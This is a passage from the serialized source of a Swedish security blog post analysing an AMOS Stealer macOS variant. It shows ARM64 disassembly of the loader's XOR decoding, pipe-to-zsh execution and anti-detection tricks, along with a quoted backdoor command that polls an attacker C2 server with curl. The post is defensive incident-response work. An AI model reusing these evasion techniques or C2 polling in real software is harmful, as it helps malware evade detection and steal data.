store decoded \"/bin/zsh\"\n\n100000988:  mov w8,#0x732d            ; 0x732d = \"-s\" (little-endian)\n10000098c:  strh w8,[sp, #0x4]        ; store argument string\n",[555,2295,2293],{"__ignoreMap":585},[528,2297,2298,2299,2302,2303,2305,2306,2309],{},"XOR-nyckeln är ",[555,2300,2301],{},"0x2e",", ASCII-värdet för ",[555,2304,1529],{}," (punkt). Avkodningen sker i en enda ",[555,2307,2308],{},"eor v0.8B, v0.8B, v1.8B","-instruktion, en ARM64-NEON-vektorinstruktion som XOR-kombinerar alla 8 bytes samtidigt. Att använda en SIMD-instruktion för en enkel 8-byte-avkodning är ovanligt och har två effekter: snabbare än en byte-för-byte-loop, och det genererade instruktionsmönstret skiljer sig i grunden från de skalära avkodningsloopar som signaturmatchningsverktyg är tränade på.",[528,2311,2312,2313,1323,2316,1323,2319,1323,2322,2325,2326,2329],{},"Verifieringen är enkel: ",[555,2314,2315],{},"0x01 XOR 0x2e = 0x2f = /",[555,2317,2318],{},"0x4c XOR 0x2e = 0x62 = b",[555,2320,2321],{},"0x47 XOR 0x2e = 0x69 = i",[555,2323,2324],{},"0x40 XOR 0x2e = 0x6e = n",", vilket ger ",[555,2327,2328],{},"/bin"," i de första fyra bytena.",[706,2331,2333],{"id":2332},"steg-2-pipe-arkitekturen","Steg 2: Pipe-arkitekturen",[528,2335,712],{},[528,2337,2338],{},"Efter att kommandonamnet avkodats skapar funktionen en OS-pipe och forkar:",[573,2340,2341],{"style":575},[577,2342,2345],{"className":2343,"code":2344,"language":582},[580],"100000990:  bl 0x1000a0f6c    ; _fork()\n100000994:  mov x20,x0        ; save PID\n100000998:  cbz w0,0x100000b00 ; if child: jump to exec path\n",[555,2346,2344],{"__ignoreMap":585},[528,2348,2349],{},"I barnprocessen:",[573,2351,2352],{"style":575},[577,2353,2356],{"className":2354,"code":2355,"language":582},[580],"; Child process path\n100000b0c:  mov w1,#0x0\n100000b10:  bl 0x1000a0f48    ; _dup2(pipe_read_fd, STDIN=0)\n; pipe read-end is now stdin, shell reads from pipe\n100000b2c:  add x0,sp,#0x20   ; argv[0] = \"/bin/zsh\"\n100000b30:  add x1,sp,#0x8    ; argv array\n100000b34:  bl 0x1000a0f60    ; _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n",[555,2357,2355],{"__ignoreMap":585},[528,2359,2360,2361,2364,2365,2368,2369,2371],{},"Barnprocessen ersätter sin standard-input med läsänden av pipen och startar ",[555,2362,2363],{},"/bin/zsh -s",". I ",[555,2366,2367],{},"-s","-läge läser shellen kommandon från stdin. För process-monitoring-verktyg framstår den här processen som ",[555,2370,2363],{}," utan argument, omöjlig att skilja från en legitim interaktiv shell-session.",[706,2373,2375],{"id":2374},"steg-3-chunk-writes-med-variabel-storlek","Steg 3: Chunk-writes med variabel storlek",[528,2377,712],{},[528,2379,2380],{},"Föräldraprocessen skriver den dekrypterade payloaden i medvetet varierande chunk-storlekar till skrivänden av pipen:",[573,2382,2383],{"style":575},[577,2384,2387],{"className":2385,"code":2386,"language":582},[580],"; Parent: compute chunk size then write\n1000009d4:  umulh x8,x23,x24       ; high-half multiply for modulo\n1000009d8:  lsr x8,x8,#0x7\n1000009dc:  msub x8,x8,x25,x23     ; x8 = length % 0xc0\n1000009e0:  add x8,x8,#0x40        ; chunk = (length % 192) + 64\n                                    ; range: 64 to 255 bytes per write\n1000009e4:  cmp x8,x23             ; clamp to remaining length\n1000009e8:  csel x2,x8,x23,cc\n\n1000009ec:  ldr w0,[sp, #0x34]     ; pipe write fd\n1000009f0:  mov x1,x21             ; payload pointer\n1000009f4:  bl 0x1000a0fc0         ; _write(fd, buf, chunk_size)\n\n100000a04:  mov w0,#0x1\n100000a08:  bl 0x1000a0fa8         ; _usleep(1), 1µs between chunks\n100000a0c:  add x21,x21,x22        ; advance pointer\n100000a10:  sub x23,x23,x22        ; reduce remaining count\n100000a14:  cbnz x23,0x1000009d4   ; loop until done\n",[555,2388,2386],{"__ignoreMap":585},[528,2390,2391,2392,2395,2396,2399,2400,2403,2404,2407],{},"Chunk-storleksformeln ",[555,2393,2394],{},"(remaining_length % 192) + 64"," ger värden mellan 64 och 255 byte per write-anrop, beroende på återstående payload-längd. Det variabla write-mönstret är synligt i kernel-event-tracing-verktyg som ",[555,2397,2398],{},"ktrace"," eller ",[555,2401,2402],{},"dtrace",", men skapar ingen igenkännbar fast-storlek-signatur. Varje exekvering av samma payload producerar en annan sekvens av ",[555,2405,2406],{},"write()","-syscall-storlekar.",[528,2409,2410,2411,2413],{},"1-mikrosekunders-",[555,2412,1119],{}," mellan chunkarna tjänar ett andra syfte: det lämnar tillbaka CPU:n mellan skrivningarna, håller CPU-belastningen jämn och undviker en plötslig spik som en beteendebaserad EDR-regel skulle kunna flagga som anomal burst-I/O.",[706,2415,2417],{"id":2416},"steg-4-omedelbar-minnesrensning","Steg 4: Omedelbar minnesrensning",[528,2419,712],{},[573,2421,2422],{"style":575},[577,2423,2426],{"className":2424,"code":2425,"language":582},[580],"; After all chunks written and pipe closed:\n100000a20:  ldrb w8,[x19, #0x17]   ; check string storage type\n100000a24:  sxtb w9,w8\n100000a28:  ldp x10,x11,[x19]\n100000a30:  csel x0,x10,x19,lt     ; pointer to payload buffer\n100000a34:  csel x1,x11,x8,lt      ; length of buffer\n100000a38:  bl 0x1000a0f30         ; _bzero(payload_buf, length)\n",[555,2427,2425],{"__ignoreMap":585},[528,2429,2430,2433],{},[555,2431,2432],{},"_bzero()","-anropet nollställer hela den dekrypterade payload-bufferten omedelbart efter den sista skrivningen till pipen. Inget tidsfönster, inte ens en mikrosekund, där den dekrypterade payloaden ligger kvar i minnet efter avslutad exekvering. En live-memory-dump som tas direkt efter att funktionen returnerat hittar bara nollor där payloaden var.",[528,2435,2436,2437,2440],{},"Det kallas ",[771,2438,2439],{},"zero-after-use",", samma teknik som högsäkra kryptografiska bibliotek använder för att nyckelmaterial inte ska bli kvar i minnet. Att den tekniken dyker upp i commodity-malware är ovanligt och tyder på en utvecklare med bakgrund inom security engineering.",[706,2442,2444],{"id":2443},"den-fullständiga-exekveringssekvensen","Den fullständiga exekveringssekvensen:",[528,2446,712],{},[573,2448,2449],{"style":575},[577,2450,2453],{"className":2451,"code":2452,"language":582},[580],"__cstring:  \"\\x01LG@\\x01T]F\"   (7 bytes, obfuscated)\n    ↓  SIMD XOR with 0x2e (8-wide vector)\nstack:      \"/bin/zsh\\0\"         (decoded in-place, stack only)\n    ↓  _pipe() creates fd pair [read=local_60, write=local_5c]\n    ↓  _fork()\n    │\n    ├─ CHILD:  _dup2(local_60, 0)   stdin = pipe read end\n    │          _execvp(\"/bin/zsh\", [\"/bin/zsh\", \"-s\", NULL])\n    │          → /bin/zsh reads commands from stdin (= pipe)\n    │\n    └─ PARENT: loop: _write(local_5c, payload, variable_chunk)\n                     _usleep(1)\n               _close(local_5c)    close write end → EOF to shell\n               _bzero(payload, len) ← WIPE IMMEDIATELY\n               _waitpid(child, ...)\n",[555,2454,2452],{"__ignoreMap":585},[562,2456,2458],{"id":2457},"import-tabellen-som-vapen","Import-tabellen som vapen",[528,2460,568],{},[528,2462,2463],{},"Den fullständiga import-tabellen för den här binären:",[573,2465,2466],{"style":575},[577,2467,2470],{"className":2468,"code":2469,"language":582},[580],"// C runtime / memory\n_memcpy       _memmove      _memset       _bzero\n\n// Process execution\n_fork         _execvp       _execl        __exit\n\n// IPC / pipes\n_pipe         _dup2         _close        _write\n\n// Synchronisation\n_waitpid      _usleep\n\n// Stack protection\n___stack_chk_fail    ___stack_chk_guard\n\n// C++ runtime\noperator.new    operator.delete    __Unwind_Resume\n___cxa_allocate_exception    ___cxa_throw    ___cxa_begin_catch\n___cxa_end_catch    ___cxa_free_exception    ___gxx_personality_v0\nterminate    logic_error    bad_array_new_length    __next_prime\n\n// STL containers\nappend    reserve    push_back    operator=\n\n// Dynamic linking\ndyld_stub_binder\n",[555,2471,2469],{"__ignoreMap":585},[528,2473,2474],{},"Totalt 27 symboler. Det som saknas är minst lika avslöjande som det som finns.",[706,2476,2478],{"id":2477},"frånvarande-nätverk","Frånvarande: Nätverk",[528,2480,712],{},[573,2482,2483],{"style":575},[577,2484,2487],{"className":2485,"code":2486,"language":582},[580],"socket      connect     bind        listen\naccept      send        recv        sendto\nrecvfrom    getaddrinfo gethostbyname\n",[555,2488,2486],{"__ignoreMap":585},[706,2490,2492],{"id":2491},"frånvarande-filsystem","Frånvarande: Filsystem",[528,2494,712],{},[573,2496,2497],{"style":575},[577,2498,2501],{"className":2499,"code":2500,"language":582},[580],"open        read        fopen       fread\nfwrite      fclose      stat        unlink\nmkdir       rename      opendir     readdir\n",[555,2502,2500],{"__ignoreMap":585},[706,2504,2506],{"id":2505},"frånvarande-process-introspektion","Frånvarande: Process-introspektion",[528,2508,712],{},[573,2510,2511],{"style":575},[577,2512,2515],{"className":2513,"code":2514,"language":582},[580],"getpid      getuid      getenv      sysctl\n",[555,2516,2514],{"__ignoreMap":585},[706,2518,2520],{"id":2519},"frånvarande-kryptografi","Frånvarande: Kryptografi",[528,2522,568],{},[573,2524,2525],{"style":575},[577,2526,2529],{"className":2527,"code":2528,"language":582},[580],"CCCrypt     SecItemAdd  SecKeychainFind\n",[555,2530,2528],{"__ignoreMap":585},[528,2532,2533,2534,1323,2537,2540,2541,1323,2544,2547],{},"Hos ett traditionellt malware-sample förväntar man sig nätverks-imports (",[555,2535,2536],{},"socket",[555,2538,2539],{},"connect",") eller fil-imports (",[555,2542,2543],{},"fopen",[555,2545,2546],{},"write","). Den här binären har inte en enda. För en standardscanner ser den ut som en harmlös process-launcher, och det är precis planerat: ett medvetet arkitekturval som får statiska analysverktyg att gå bet.",[528,2549,2550,2552],{},[555,2551,921],{},"-binären utför inte stölden själv. Dess enda syfte är att lägga ut och köra den egentliga skadliga payloaden, ett kraftigt obfuskerat AppleScript. En EDR eller AV som letar efter skadliga binärer ser här en loader utan nätverks- eller fil-I/O och kan bedöma den som ren, utan att inse att binären är ett specialiserat leveranssystem för en högnivå-skript-payload.",[538,2554],{},[541,2556,2558],{"id":2557},"bakdörren","Bakdörren",[528,2560,547],{},[528,2562,2563,2564,2567],{},"Incidenten tog inte slut efter den initiala kompromitteringen. Microsoft Defender-telemetri visade en process som körde från ",[555,2565,2566],{},"/Users/\u003Credacted>/.mainhelper"," och pollade en extern server:",[573,2569,2570],{"style":575},[577,2571,2573],{"className":782,"code":2572,"language":784,"meta":585,"style":585},"sh -c \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[555,2574,2575],{"__ignoreMap":585},[622,2576,2577,2580,2582],{"class":624,"line":625},[622,2578,2579],{"class":791},"sh",[622,2581,796],{"class":795},[622,2583,2584],{"class":809}," \"curl -s 'http[:]//45.94.47[.]204/api/tasks/*********************'\"\n",[528,2586,2587],{},"Base64-strängen avkodades till en 16-byte-enhets-UUID, den unika identifierare som angriparens C2-infrastruktur hade tilldelat den här enheten dagen för den första infektionen.",[528,2589,2590,2593,2594,2597,2598,2600],{},[555,2591,2592],{},".mainhelper","-binären (SHA-256: ",[555,2595,2596],{},"7c6766e2b05dfbb286a1ba48ff3e766d4507254e217e8cb77343569153d63063",") hade installerats via ",[555,2599,792],{}," av osascript-droppern samma dag som incidenten.",[538,2602],{},[541,2604,2606],{"id":2605},"den-kollektiva-skölden-och-dess-styrka-vår-shared-threat-intelligence-plattform","Den kollektiva skölden och dess styrka: Vår Shared-Threat-Intelligence-plattform",[528,2608,547],{},[528,2610,2611],{},"När ett larm utlöses i vårt SOC börjar klockan ticka inte bara för den drabbade kunden, utan för varje organisation under glueckkanjas skyddssköld. Den här undersökningen av en odokumenterad AMOS-variant visar tydligt vad the Intelligence Gap betyder i praktiken: ett farligt tidsfönster där traditionella leverantörer är blinda, eftersom de ännu inte har sett hotet.",[528,2613,2614],{},"Här visar vår proprietära Shared Threat Intelligence Platform sitt värde, utvecklad exklusivt för glueckkanjas CSOC-kunder. Vi väntar inte på branschuppdateringar, vi skapar dem. Medan våra analytiker fortfarande monterade ner de sista lagren av ARM64-assembly distribuerade vår Automated Orchestration Engine redan de extraherade indikatorerna över hela vårt ekosystem. Det skapar flockimmunitet: det som upptäcks på en enda endpoint är inom minuter ett blockerat hot för varje organisation under vårt skydd.",[528,2616,2617],{},"Reaktiv säkerhet fungerar inte mot hot som medvetet slinker igenom luckorna i konventionella försvarsmekanismer. Svaret ligger i att koppla samman mänsklig expertis med en arkitektur som sätter den kunskapen i verket omedelbart och i skala. Genom vår shared intelligence-modell vänds angriparens tidsövertag: våra kunder är skyddade innan branschen ens har upptäckt hotet.",[2619,2620,2621,2626,2629,2632],"blockquote",{},[528,2622,2623],{},[771,2624,2625],{},"Notis om dataskydd",[528,2627,2628],{},"Identifierande information har anonymiserats i den här publikationen. Specifika tekniska detaljer, indikatorer och tidsstämplar kan ha ändrats något för att säkerställa det pågående skyddet av den drabbade miljön, utan att analysens tekniska integritet påverkas.",[528,2630,2631],{},"De tekniska analyserna och Indicators of Compromise (IOC:er) i den här rapporten är enbart avsedda för information och utbildning. De tillhandahålls efter bästa förmåga. glueckkanja AG lämnar inga uttryckliga eller underförstådda garantier om fullständighet eller korrekthet och ansvarar inte för skador, förluster eller säkerhetsincidenter som uppstår ur användningen av den information, de regler eller signaturer som delas här. Vi rekommenderar att alla indikatorer och regler valideras i en kontrollerad miljö innan de tas i bruk.",[528,2633,2634],{},"Beskrivna indikatorer och tekniker kan överlappa med kända malware-familjer och går inte att exklusivt hänföra till en enskild kampanj.",[2636,2637,2638],"style",{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}",{"title":585,"searchDepth":631,"depth":631,"links":2640},[2641,2642,2643,2644,2651,2652,2653,2654,2662,2669],{"id":564,"depth":631,"text":565},{"id":605,"depth":631,"text":606},{"id":666,"depth":631,"text":667},{"id":698,"depth":631,"text":699,"children":2645},[2646,2647,2648,2649,2650],{"id":708,"depth":849,"text":709},{"id":723,"depth":849,"text":724},{"id":737,"depth":849,"text":738},{"id":746,"depth":849,"text":747},{"id":763,"depth":849,"text":764},{"id":928,"depth":631,"text":929},{"id":1018,"depth":631,"text":1019},{"id":1134,"depth":631,"text":1135},{"id":1205,"depth":631,"text":1206,"children":2655},[2656,2657,2658,2659,2660,2661],{"id":1220,"depth":849,"text":1221},{"id":1508,"depth":849,"text":1509},{"id":1763,"depth":849,"text":1764},{"id":1957,"depth":849,"text":1958},{"id":2044,"depth":849,"text":2045},{"id":2196,"depth":849,"text":2197},{"id":2250,"depth":631,"text":2251,"children":2663},[2664,2665,2666,2667,2668],{"id":2266,"depth":849,"text":2267},{"id":2332,"depth":849,"text":2333},{"id":2374,"depth":849,"text":2375},{"id":2416,"depth":849,"text":2417},{"id":2443,"depth":849,"text":2444},{"id":2457,"depth":631,"text":2458,"children":2670},[2671,2672,2673,2674],{"id":2477,"depth":849,"text":2478},{"id":2491,"depth":849,"text":2492},{"id":2505,"depth":849,"text":2506},{"id":2519,"depth":849,"text":2520},"md","post",{"lang":2678,"seoTitle":2679,"titleClass":2680,"date":2681,"categories":2682,"blogtitlepic":2684,"socialimg":2685,"customExcerpt":2686,"keywords":2687,"maxContent":325,"asideNav":2688,"footer":2703,"contactInContent":2704,"published":325},"sv","AMOS-Stealer-variant: Reverse engineering av en okänd macOS-malware","h2-font-size","2026-04-10",[2683],"Security","head-amos-stealer.png","/blog/heads/head-amos-stealer.png","En hittills odokumenterad AMOS-Stealer-variant komprometterade en macOS-endpoint. Inga kända hashvärden, inga C2-data i offentliga databaser. Vårt SOC monterade ner sex obfuskeringslager, extraherade alla indikatorer och distribuerade skyddet till alla SOC-kunder inom timmar, innan branschen ens hade sett samplet.","AMOS Stealer, macOS-malware, Reverse engineering, Malware-analys, Ghidra, ARM64, Incident Response, Threat Intelligence, CSOC, macOS-säkerhet, Stealer-malware, Shared Threat Intelligence, Atomic macOS Stealer",{"menuItems":2689},[2690,2693,2695,2698,2700],{"href":2691,"text":2692},"#incidenten-ett-okänt-ioc-scenario","Incidenten",{"href":2694,"text":565},"#stage-1-sandbox-kontroller",{"href":2696,"text":2697},"#stage-2-reverse-engineering-av-helper-binären","Stage 2: Binäranalys",{"href":2699,"text":2558},"#bakdörren",{"href":2701,"text":2702},"#den-kollektiva-skölden-och-dess-styrka-vår-shared-threat-intelligence-plattform","Shared Threat Intelligence",{"noMargin":325},{"quote":325,"infos":2705},{"bgColor":2706,"headline":2707,"subline":2708,"level":562,"textStyling":2709,"flush":2710,"person":2711,"form":2717},"var(--color-gk-dark-blue)","Ta kontakt","Vill ni veta hur vår Shared Threat Intelligence Platform skyddar er mot okända malware-varianter, redan innan branschen får kännedom om dem? Hör av er.","text-light","justify-content-end",{"image":2712,"cloudinary":325,"alt":2713,"name":2714,"quotee":2714,"quoteeTitle":2715,"quote":2716},"/people/people-jan-geisbauer-csoc.jpg","Porträtt av Jan Geisbauer, Head of Security på glueckkanja","Jan Geisbauer","Head of Security","Det farliga med den här varianten var inte den tekniska komplexiteten, hur imponerande den än är. Det farliga var tidsfönstret. Utan Shared Threat Intelligence hade våra övriga kunder stått oskyddade i timmar medan vi fortfarande analyserade.",{"ctaText":2718,"cta":2719,"method":2676,"action":2721,"fields":2722},"Skicka",{"skin":2720},"primary on-surface","/send",[2723,2727,2731,2734,2738,2743,2748,2750,2753,2756,2759,2761],{"type":2724,"id":2725,"value":2726},"hidden","_next","successful",{"label":2728,"type":582,"id":2729,"required":325,"requiredMsg":2730},"Namn*","name","Ange ditt namn.",{"label":2732,"type":582,"id":403,"required":325,"requiredMsg":2733},"Företag*","Ange ditt företag.",{"label":2735,"type":2736,"id":2736,"required":325,"requiredMsg":2737},"E-postadress*","email","Ange din e-postadress.",{"label":2739,"type":2740,"id":2741,"required":484,"requiredMsg":2742},"Ert meddelande till oss","textarea","message","Skriv ett meddelande.",{"label":2744,"type":2745,"id":2746,"required":325,"requiredMsg":2747},"Era uppgifter sparas hos oss i syfte att behandla och besvara er förfrågan. Mer information om dataskydd hittar ni i vår \u003Ca href=\"/sv/privacy\">integritetspolicy\u003C/a>.","checkbox","dataprotection","Vänligen bekräfta",{"type":2724,"id":2749,"value":2683},"_topic",{"type":2724,"id":2751,"value":2752},"_location","World",{"type":2724,"id":2754,"value":2755},"_subject","Form: Blog AMOS Stealer CSOC | SV",{"type":2724,"id":2757,"value":2758},"inbox_key","gkgab-contact-form",{"type":2724,"id":2760},"_gotcha",{"type":2724,"id":2762},"jsonData","/posts/2026-04-10-incident-to-intelligence",{"title":521,"description":530},"posts/2026-04-10-incident-to-intelligence",[2767,2768,2769,2770,2771],"Threat Intelligence","Incident Response","macOS Security","Malware Analysis","Cyber Security Operations Center","pFqTzEk-zboOpIV6KDxgUiffl2oWV5raEweZOIYFeos",{"id":2774,"extension":2775,"meta":2776,"stem":8,"__hash__":3125},"authors_data/authors.json","json",{"path":2777,"Fritz Zurhorst":2778,"Alexander Schlindwein":2784,"Sophie Luna":2790,"Nadine Klein":2798,"Karsten Kleinschmidt":2804,"Julian Wendt":2812,"Holger Bunkradt":2817,"Ralf Mania":2823,"Oliver Kieselbach":2829,"Steffen Schwerdtfeger":2835,"Gunnar Winter":2843,"Jan Petersen":2848,"Thorsten Kunzi":2853,"Moritz Pohl":2857,"Thorben Pöschus":2862,"Christoph Hannebauer":2868,"Marco Scheel":2872,"Christopher Brumm":2877,"Florian Klante":2884,"Niklas Bachmann":2889,"Nils Krautkrämer":2894,"Patrick Treptau":2900,"Peter Beckendorf":2905,"Patrick Sobau":2910,"Jörg Wunderlich":2915,"Michael Breither":2919,"Christian Kanja":2924,"Zeba Hoffmann":2930,"Jochen Fröhlich":2935,"Jan Geisbauer":2939,"Gerrit Reinke":2950,"Christian Kordel":2956,"Stephan Wälde":2960,"Carolin Kanja":2965,"Adrian Ritter":2971,"Marvin Bangert":2976,"Thorsten Pickhan":2982,"Christian Lorenz":2988,"Denis Böhm":2993,"Fabian Bader":2998,"Juan Jose Fernandez Perez":3004,"Mahschid Sayyar":3009,"Benjamin Dassow":3014,"Markus Walschburger":3019,"Jonathan Haist":3024,"Daniel Rohregger":3029,"Thomas Naunheim":3034,"Florian Stöckl":3039,"Pascal Asch":3044,"Markus Kättner":3048,"Anna Ulbricht":3055,"Annette Brauns":3062,"body":3068,"title":3124},"/authors",{"display_name":2779,"avatar":2780,"permalink":2781,"linkedin":2782,"imageOffsetTop":2783},"Fritz Zurhorst","people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":2785,"avatar":2786,"permalink":2787,"twitter":2788,"linkedin":2789},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":2791,"avatar":2792,"permalink":2793,"twitter":2794,"linkedin":2795,"imageOffsetLeft":2796,"imageOffsetTop":2797},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":2799,"avatar":2800,"permalink":2801,"twitter":2802,"linkedin":2803,"imageOffsetTop":2783},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":2805,"avatar":2806,"permalink":2807,"twitter":2808,"linkedin":2809,"imageOffsetTop":2810,"imageOffsetLeft":2811},"Karsten Kleinschmidt","/c_pad,w_800,h_700/people/karsten-kleinschmidt.jpg","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt","60%","57%",{"display_name":2813,"avatar":2814,"permalink":2815,"linkedin":2816},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":2818,"avatar":2819,"permalink":2820,"linkedin":2821,"twitter":2822},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":2824,"avatar":2825,"permalink":2826,"linkedin":2827,"twitter":2828},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":2830,"avatar":2831,"permalink":2832,"linkedin":2833,"twitter":2834},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":2836,"avatar":2837,"permalink":2838,"linkedin":2839,"twitter":2840,"imageOffsetTop":2841,"imageOffsetLeft":2842},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":2844,"avatar":2845,"permalink":2846,"twitter":2794,"linkedin":2847},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":2849,"avatar":2850,"permalink":2851,"twitter":2794,"linkedin":2852},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":2854,"avatar":2855,"permalink":2856,"twitter":2794,"linkedin":2847,"imageOffsetTop":2783},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":2858,"avatar":2859,"permalink":2860,"twitter":2794,"linkedin":2861},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":2863,"avatar":2864,"permalink":2865,"twitter":2866,"linkedin":2867},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":2869,"avatar":2870,"permalink":2871,"twitter":2794,"linkedin":2847,"imageOffsetTop":2783},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":2873,"avatar":2874,"permalink":2875,"twitter":2876,"linkedin":2876},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":2878,"avatar":2879,"permalink":2880,"twitter":2881,"linkedin":2882,"imageOffsetTop":2883},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":2885,"avatar":2886,"permalink":2887,"linkedin":2888,"twitter":2794},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":2890,"avatar":2891,"permalink":2892,"linkedin":2893,"twitter":2794},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":2895,"avatar":2896,"permalink":2897,"twitter":2898,"linkedin":2899},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":2901,"avatar":2902,"permalink":2903,"linkedin":2904,"twitter":2794},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":2906,"avatar":2907,"permalink":2908,"linkedin":2909,"twitter":2794,"imageOffsetTop":2783},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":2911,"avatar":2912,"permalink":2913,"linkedin":2914,"twitter":2794},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":2916,"avatar":2917,"permalink":2918,"twitter":2794},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":2920,"avatar":2921,"permalink":2922,"twitter":2794,"linkedin":2923},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":2925,"avatar":2926,"permalink":2927,"twitter":2928,"linkedin":2929},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":2931,"avatar":2932,"permalink":2933,"linkedin":2934,"twitter":2794},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":2936,"avatar":2937,"permalink":2938,"twitter":2794,"linkedin":2847},"Jochen Fröhlich","people/people-jochen-froehlich.png","/authors/jochen-froehlich",{"display_name":2714,"avatar":2940,"permalink":2941,"twitter":2942,"linkedin":2942,"imageOffsetTop":2783,"socials":2943},"people/people-jan-geisbauer-csoc.png","/authors/jan-geisbauer","JanGeisbauer",[2944,2947],{"text":2945,"href":2946},"Blog","https://emptydc.com",{"text":2948,"href":2949},"Podcast","https://hairlessinthecloud.com",{"display_name":2951,"avatar":2952,"permalink":2953,"twitter":2954,"linkedin":2955},"Gerrit Reinke","people/gerrit-reinke.png","/authors/gerrit-reinke","GLWRe","glwr",{"display_name":2957,"avatar":2958,"permalink":2959,"twitter":2794,"linkedin":2847},"Christian Kordel","people/christian-kordel.png","/authors/christian-kordel",{"display_name":2961,"avatar":2962,"permalink":2963,"twitter":2964,"linkedin":2847},"Stephan Wälde","people/people-stephan-waelde.png","/authors/stephan-waelde","stephanwaelde",{"display_name":2966,"avatar":2967,"permalink":2968,"twitter":2969,"linkedin":2970},"Carolin Kanja","people/people-carolin-kanja.jpg","/authors/carolin-kanja","fraukanja","carolin-kanja",{"display_name":2972,"avatar":2973,"permalink":2974,"twitter":2975,"linkedin":2975},"Adrian Ritter","people/people-adrian-ritter.png","/authors/adrian-ritter","adrianritter",{"display_name":2977,"avatar":2978,"permalink":2979,"twitter":2980,"linkedin":2981},"Marvin Bangert","people/people-marvin-bangert.png","/authors/marvin-bangert","marvinbangert","marvin-bangert",{"display_name":2983,"avatar":2984,"permalink":2985,"twitter":2986,"linkedin":2987},"Thorsten Pickhan","people/people-thorsten-pickhan.png","/authors/thorsten-pickhan","tpickhan","thorsten-pickhan",{"display_name":2989,"avatar":2990,"permalink":2991,"linkedin":2992,"twitter":2794},"Christian Lorenz","people/people-christian-lorenz.png","/authors/christian-lorenz","christianlorenz95",{"display_name":2994,"avatar":2995,"permalink":2996,"linkedin":2997,"twitter":2794},"Denis Böhm","people/people-denis-boehm.png","/authors/denis-boehm","denis-böhm-3bb834135",{"display_name":2999,"avatar":3000,"permalink":3001,"linkedin":3002,"twitter":3003},"Fabian Bader","people/people-fabian-bader.jpg","/authors/fabian-bader","fabianbader","fabian_bader",{"display_name":3005,"avatar":3006,"permalink":3007,"linkedin":3008},"Juan Jose Fernandez Perez","people/people-juan-jose-fernandez.jpg","/authors/juan-jose-fernandez-perez","juan-jose-fernandez-perez-8016055",{"display_name":3010,"avatar":3011,"permalink":3012,"linkedin":3013},"Mahschid 